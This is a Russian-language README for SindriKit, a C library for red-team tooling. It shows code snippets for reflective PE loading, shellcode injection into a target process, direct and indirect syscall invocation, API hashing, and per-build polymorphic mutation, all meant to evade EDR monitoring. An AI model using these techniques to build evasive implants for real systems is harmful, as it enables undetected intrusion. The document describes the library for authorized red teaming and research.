
SindriKit v2.0.0
Основополагающая библиотека на C для создания оперативно достоверных наступательных возможностей
SindriKit
Наступательная разработка заслуживает лучшей архитектуры.
Библиотека на C для создания наступательных возможностей.
Основная концепция
Большинство наступательных утилит жёстко зашивают механику выполнения внутри логики самой техники. Рефлективный загрузчик не просто отображает образ; он отображает его с использованием конкретной, жёстко заданной цепочки вызовов VirtualAlloc или нативных NTAPI. Когда EDR начинает мониторить именно эту цепочку, вы вынуждены переписывать весь инструмент.
SindriKit решает эту проблему, обеспечивая разделение ответственности через таблицы абстракции интерфейсов:
- Логика техники: (например, загрузчики, инжекторы, патчеры) занимается отслеживанием состояния и оркестрацией данных. Она ничего не знает о том, как выделяется память или как создаются потоки.
- Механика выполнения: (например, Win32 API, Native NTAPI, прямые системные вызовы) находится внутри независимых таблиц API и внедряется в технику во время выполнения.
Перенося механику выполнения на указатели функций времени выполнения, вы можете сменить всю свою стратегию с вызовов Win32 на сырые прямые системные вызовы одной строкой кода — без изменения логики выполнения полезной нагрузки.
Архитектура дизайна
- Развязанные профили выполнения: Замена базовых механизмов работы с памятью, модулями и потоками через таблицы указателей функций без нарушения вызывающей техники.
- Каскадные резервные резолверы системных вызовов: Подключаемые резолверы SSN (
snd_syscall_resolve_ssn_scan,snd_syscall_resolve_ssn_sort) с цепочкой приоритетов — замена или расширение стратегий без изменения доменного кода. - Обфускация на этапе компиляции: Алгоритмы хеширования строк и API (DJB2, FNV1A) можно глобально менять через CMake. Компиляция автоматически рандомизирует глобальное зерно для изменения статических сигнатур.
- Движок мутаций: Обеспечивает глубокий полиморфизм через
SND_MORPH. Генерирует уникальные бинарные сигнатуры при каждой сборке, внедряя волатильные непрозрачные предикаты в C-код, функционально эквивалентные математические операции/NOP в ассемблерные заглушки и перемешивая расположение в памяти ключевых структур. - Релизные сборки: Тихий уровень удаляет все диагностические строки, дескрипторы файлов и кадры отслеживания из финального бинарника, сокращая ваш статический след до голых примитивов.
Интеграция SindriKit
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Всего две строки, чтобы ваш инструмент унаследовал все возможности SindriKit: разбор PE, разрешение системных вызовов, рефлективную загрузку...
Движок
Слой абстракции API
┌────────────────────────────────────────────────────────────────────────────┐
│ ЛЮБОЕ НАСТУПАТЕЛЬНОЕ НАМЕРЕНИЕ │
│ Загрузчик · Инжектор · Спуфер · Патчер · Обходчик · Сборщик · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ СЛОЙ АБСТРАКЦИИ API SINDRIKIT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ будущие таблицы ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Профиль Win32 │ Нативный профиль │ Своя механика │
│ VirtualAlloc │ NtAllocateVirtual │ Драйвер · ROP · Экзотика │
│ LoadLibraryA │ PEB Walk + EAT │ Функции, заданные оператором │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
На практике это означает, что каждый домен следует одному и тому же контракту:
// Рефлективный загрузчик
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // или snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // или snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Классическая инъекция
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // или snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
Каскадный конвейер системных вызовов
SindriKit рассматривает разрешение системных вызовов как внедряемую механику, выстраивая стратегии в порядке приоритета. Движок перебирает их, пока одна не сработает:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// или для непрямых системных вызовов:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Инвокер развязан от разрешения SSN — переключайтесь между прямыми и непрямыми системными вызовами без изменения доменного кода. Непрямой вызов переходит к легитимному гаджету NTDLL, сохраняя адрес возврата системного вызова внутри ntdll.dll.
Гибкость алгоритмов на этапе компиляции
Каждое имя API и строка модуля удаляются из финального бинарника на этапе компиляции через одну переменную CMake:
set(SND_HASH_ALGO "FNV1A") # или DJB2 — всё пересчитывается автоматически
set(SND_RANDOMIZE_SEED ON) # генерирует новое 32-битное зерно при следующей конфигурации
Каждый хеш вычисляется со случайно сгенерированным зерном (если SND_RANDOMIZE_SEED=ON). Статический след полностью меняется между компиляциями без изменения ни одной строки C.
Архитектурно-зависимый динамический FFI
Пользовательский ассемблерный мост MASM для вызова произвольных функций во время выполнения. Сборки x64 точно следуют соглашению о вызовах Microsoft x64 (shadow space, размещение аргументов в регистрах, выравнивание стека). Сборки x86 помещают аргументы в обратном порядке с поддержкой как cdecl, так и stdcall.
PE-парсер с проверкой границ
Унифицированный парсер PE32/PE32+ с флагом is_mapped, который корректно обрабатывает как сырые образы на диске, так и отображённые в память представления. Каждое обращение к каталогу данных проверяется на соответствие отслеживаемым границам буфера перед разыменованием. Разрешение экспортов поддерживает цепочки форвардеров глубиной до 4 с поиском на основе хешей.
Протестировано на:
- 40+ основных тестовых комбинациях, нацеленных на граничные случаи EXE, DLL, некорректные аргументы, отсутствующие экспорты и TLS-колбэки на x86 и x64.
- 100+ динамических мутациях PE, сгенерированных модулем
pe_mutator: обнулённые имена секций, целочисленные переполнения, некорректные границыe_lfanew, искажённые импорты. - Полном корпусе Corkami: чисто загружает валидные образцы, чисто отклоняет некорректные без падений на 99% образцов.
Доменные контексты с отслеживанием состояния
Каждая наступательная операция управляется через дискретную структуру контекста с перечислением этапов. Операции можно приостанавливать между этапами для обфускации сна или поэтапного развёртывания, чисто возобновлять и инспектировать точную точку отказа вплоть до подсистемы и причины.
Философия дизайна API
Инициализируйте конвейер системных вызовов один раз (типичный шаблон):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// или для непрямых системных вызовов:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Инвокер развязан от разрешения SSN — переключайтесь между прямыми и непрямыми системными вызовами без изменения доменного кода. Непрямой вызов переходит к легитимному гаджету NTDLL, сохраняя адрес возврата системного вызова внутри ntdll.dll.
Смена профиля выполнения одним присваиванием:
ctx.mem_api = &snd_mem_win; // диагностический
ctx.mem_api = &snd_mem_nt; // NT-заглушки через PEB + EAT
ctx.mem_api = &snd_mem_sys; // прямые системные вызовы (требуется конвейер)
Разрешение модулей следует тому же шаблону (snd_mod_win против snd_mod_nt). Бэкенда модулей на основе системных вызовов нет — импорты используют PEB walk + EAT даже в полных профилях _sys.
Уровни сборки
Уровень отладки — SND_ENABLE_DEBUG=ON
Для локальной разработки. snd_status_t расширяется, включая file, line и 128-байтовый строковый буфер context. SND_ERR_CTX и SND_DEBUG_PRINT выводят переходы конечного автомата, значения разобранных полей PE и результаты разрешения системных вызовов. Используйте SND_USE_PRINTF=ON для направления вывода в stdout вместо консоли отладки.
Тихий уровень — SND_ENABLE_DEBUG=OFF
Стандартная конфигурация развёртывания для операционных бинарников. Каждая диагностическая строка, ссылка на файл и номер строки полностью компилируются прочь. snd_status_t сжимается до двух целых чисел. И ничего больше.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
Документация
Полный справочник в docs/:
- Начало работы — CMake, уровни сборки, инициализация DI, первый рабочий процесс загрузчика/инъекции
- Архитектура — Внедрение зависимостей, конечные автоматы, система статусов
- Примитивы — Память, модули, процессы, отображение, системные вызовы, выполнение (FFI)
- Загрузчики — Конвейер рефлективной загрузки PE
- Инъекция — Классическая инъекция shellcode и PE
- Парсеры — Поддомены PE и env (PEB)
- Общее — Хелперы без CRT, буферы, хеширование, статус
- Примеры и PoC — Профили исполняемого файла
unified(load, inject, hg) - Тесты — Интеграционный раннер, мутатор PE
Планируется: домен Обход защиты.
Отказ от ответственности
SindriKit создан исключительно для образовательных, исследовательских целей и авторизованного Red Teaming. Полный отказ от ответственности и информацию о соображениях OpSec см. в Политике безопасности.
Лицензия